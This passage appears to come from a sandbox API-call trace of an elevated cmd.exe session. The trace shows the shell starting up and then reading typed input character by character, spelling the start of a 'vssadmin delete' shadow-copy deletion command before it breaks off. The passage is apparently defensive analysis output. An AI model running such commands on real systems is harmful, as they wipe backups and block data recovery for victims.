_String2="ERRORLEVEL") returned 6 [0040.367] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0040.367] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0040.367] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0040.367] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0040.367] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0040.367] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0040.367] malloc (_Size=0xffce) returned 0x2cd149f0040 [0040.367] ??_V@YAXPEAX@Z () returned 0x2cd149f0040 [0040.368] GetProcessHeap () returned 0x2cd147d0000 [0040.368] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x40) returned 0x2cd147d84b0 [0040.368] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd149f0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2cd149f0040, lpFilePart=0xe195f2f370 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe195f2f370*="Desktop") returned 0x17 [0040.368] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0040.368] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xe195f2f0a0 | out: lpFindFileData=0xe195f2f0a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2cd147d8500 [0040.368] FindClose (in: hFindFile=0x2cd147d8500 | out: hFindFile=0x2cd147d8500) returned 1 [0040.369] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xe195f2f0a0 | out: lpFindFileData=0xe195f2f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2cd147d8500 [0040.369] FindClose (in: hFindFile=0x2cd147d8500 | out: hFindFile=0x2cd147d8500) returned 1 [0040.369] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xe195f2f0a0 | out: lpFindFileData=0xe195f2f0a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xda1c57eb, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xda1c57eb, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2cd147d8500 [0040.369] FindClose (in: hFindFile=0x2cd147d8500 | out: hFindFile=0x2cd147d8500) returned 1 [0040.369] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0040.369] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0040.369] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0040.369] GetProcessHeap () returned 0x2cd147d0000 [0040.369] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d7a10) returned 1 [0040.369] GetEnvironmentStringsW () returned 0x2cd147d0fc0* [0040.369] GetProcessHeap () returned 0x2cd147d0000 [0040.369] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xacc) returned 0x2cd147d8500 [0040.369] FreeEnvironmentStringsA (penv="=") returned 1 [0040.369] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd149d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.369] GetProcessHeap () returned 0x2cd147d0000 [0040.369] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d84b0) returned 1 [0040.369] ??_V@YAXPEAX@Z () returned 0x1 [0040.369] ??_V@YAXPEAX@Z () returned 0x1 [0040.369] GetProcessHeap () returned 0x2cd147d0000 [0040.369] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x4016) returned 0x2cd147d8fe0 [0040.370] GetProcessHeap () returned 0x2cd147d0000 [0040.370] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d8fe0) returned 1 [0040.370] GetConsoleOutputCP () returned 0x1b5 [0040.380] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0040.380] GetUserDefaultLCID () returned 0x409 [0040.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff65307bb78, cchData=8 | out: lpLCData=":") returned 2 [0040.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xe195f2f730, cchData=128 | out: lpLCData="0") returned 2 [0040.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xe195f2f730, cchData=128 | out: lpLCData="0") returned 2 [0040.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xe195f2f730, cchData=128 | out: lpLCData="1") returned 2 [0040.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff65307bb68, cchData=8 | out: lpLCData="/") returned 2 [0040.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff65307bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0040.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff65307bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0040.381] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff65307ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0040.381] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff65307ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0040.381] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff65307ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0040.381] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff65307b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0040.381] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff65307b980, cchData=32 | out: lpLCData="Sun") returned 4 [0040.381] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff65307bb58, cchData=8 | out: lpLCData=".") returned 2 [0040.381] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff65307bb40, cchData=8 | out: lpLCData=",") returned 2 [0040.381] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0040.382] GetProcessHeap () returned 0x2cd147d0000 [0040.382] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x0, Size=0x20c) returned 0x2cd147d6560 [0040.382] GetConsoleTitleW (in: lpConsoleTitle=0x2cd147d6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0040.386] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.386] GetFileType (hFile=0x288) returned 0x3 [0040.470] ApiSetQueryApiSetPresence () returned 0x0 [0040.470] ResolveDelayLoadedAPI () returned 0x7ff91379d990 [0040.473] BrandingFormatString () returned 0x2cd147d1850 [0040.490] GetVersion () returned 0x3ad7000a [0040.490] _vsnwprintf (in: _Buffer=0xe195f2f890, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xe195f2f828 | out: _Buffer="10.0.15063") returned 10 [0040.490] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.490] GetFileType (hFile=0x288) returned 0x3 [0040.490] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff653087f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0040.491] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff653087f60, nSize=0x2000, Arguments=0xe195f2f830 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0040.491] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0040.491] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xe195f2f788, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f788*=0x26, lpOverlapped=0x0) returned 1 [0040.491] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe195f2f858 | out: _Buffer="\r\n") returned 2 [0040.491] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.491] GetFileType (hFile=0x288) returned 0x3 [0040.491] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0040.491] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe195f2f828, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f828*=0x2, lpOverlapped=0x0) returned 1 [0040.491] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xe195f2f858 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0040.491] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.491] GetFileType (hFile=0x288) returned 0x3 [0040.491] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0040.491] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe195f2f828, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f828*=0x34, lpOverlapped=0x0) returned 1 [0040.491] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe195f2f858 | out: _Buffer="\r\n") returned 2 [0040.491] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.491] GetFileType (hFile=0x288) returned 0x3 [0040.491] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0040.491] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe195f2f828, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f828*=0x2, lpOverlapped=0x0) returned 1 [0040.492] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0040.492] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0040.492] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0040.492] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0040.492] ??_V@YAXPEAX@Z () returned 0x1 [0040.492] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.492] GetFileType (hFile=0x27c) returned 0x3 [0040.492] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0040.492] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xe195f2f698 | out: TokenHandle=0xe195f2f698*=0x0) returned 0xc000007c [0040.492] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xe195f2f698 | out: TokenHandle=0xe195f2f698*=0x94) returned 0x0 [0040.492] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xe195f2f648, TokenInformationLength=0x4, ReturnLength=0xe195f2f650 | out: TokenInformation=0xe195f2f648, ReturnLength=0xe195f2f650) returned 0x0 [0040.492] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xe195f2f650, TokenInformationLength=0x4, ReturnLength=0xe195f2f648 | out: TokenInformation=0xe195f2f650, ReturnLength=0xe195f2f648) returned 0x0 [0040.492] NtClose (Handle=0x94) returned 0x0 [0040.492] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xe195f2f660, nSize=0x0, Arguments=0xe195f2f668 | out: lpBuffer="\x8320\x147d\x2cd") returned 0xf [0040.492] GetProcessHeap () returned 0x2cd147d0000 [0040.492] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x218) returned 0x2cd147d6c30 [0040.506] GetConsoleTitleW (in: lpConsoleTitle=0xe195f2f6b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0040.509] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0040.509] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0040.510] GetProcessHeap () returned 0x2cd147d0000 [0040.510] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d6c30) returned 1 [0040.511] LocalFree (hMem=0x2cd147d8320) returned 0x0 [0040.511] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe195f2f4d8 | out: _Buffer="\r\n") returned 2 [0040.511] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.511] GetFileType (hFile=0x288) returned 0x3 [0040.511] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0040.511] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe195f2f4a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f4a8*=0x2, lpOverlapped=0x0) returned 1 [0040.511] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0040.511] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd149d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.511] malloc (_Size=0x107ce) returned 0x2cd149e0060 [0040.512] _vsnwprintf (in: _Buffer=0x2cd149e0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xe195f2f4e8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0040.512] _vsnwprintf (in: _Buffer=0x2cd149e008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xe195f2f4e8 | out: _Buffer=">") returned 1 [0040.512] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.512] GetFileType (hFile=0x288) returned 0x3 [0040.512] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0040.512] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe195f2f4d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f4d8*=0x18, lpOverlapped=0x0) returned 1 [0040.512] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.512] GetFileType (hFile=0x27c) returned 0x3 [0040.513] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.513] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.513] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0040.513] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.513] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.513] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0040.513] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.513] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.513] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0040.513] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.513] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.513] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0040.513] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.513] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.513] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0040.513] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.513] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.513] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0040.513] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.513] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.514] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0040.514] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.514] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0040.514] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.514] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.514] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.514] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0040.514] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.514] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.514] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.514] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.514] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.514] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.514] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, 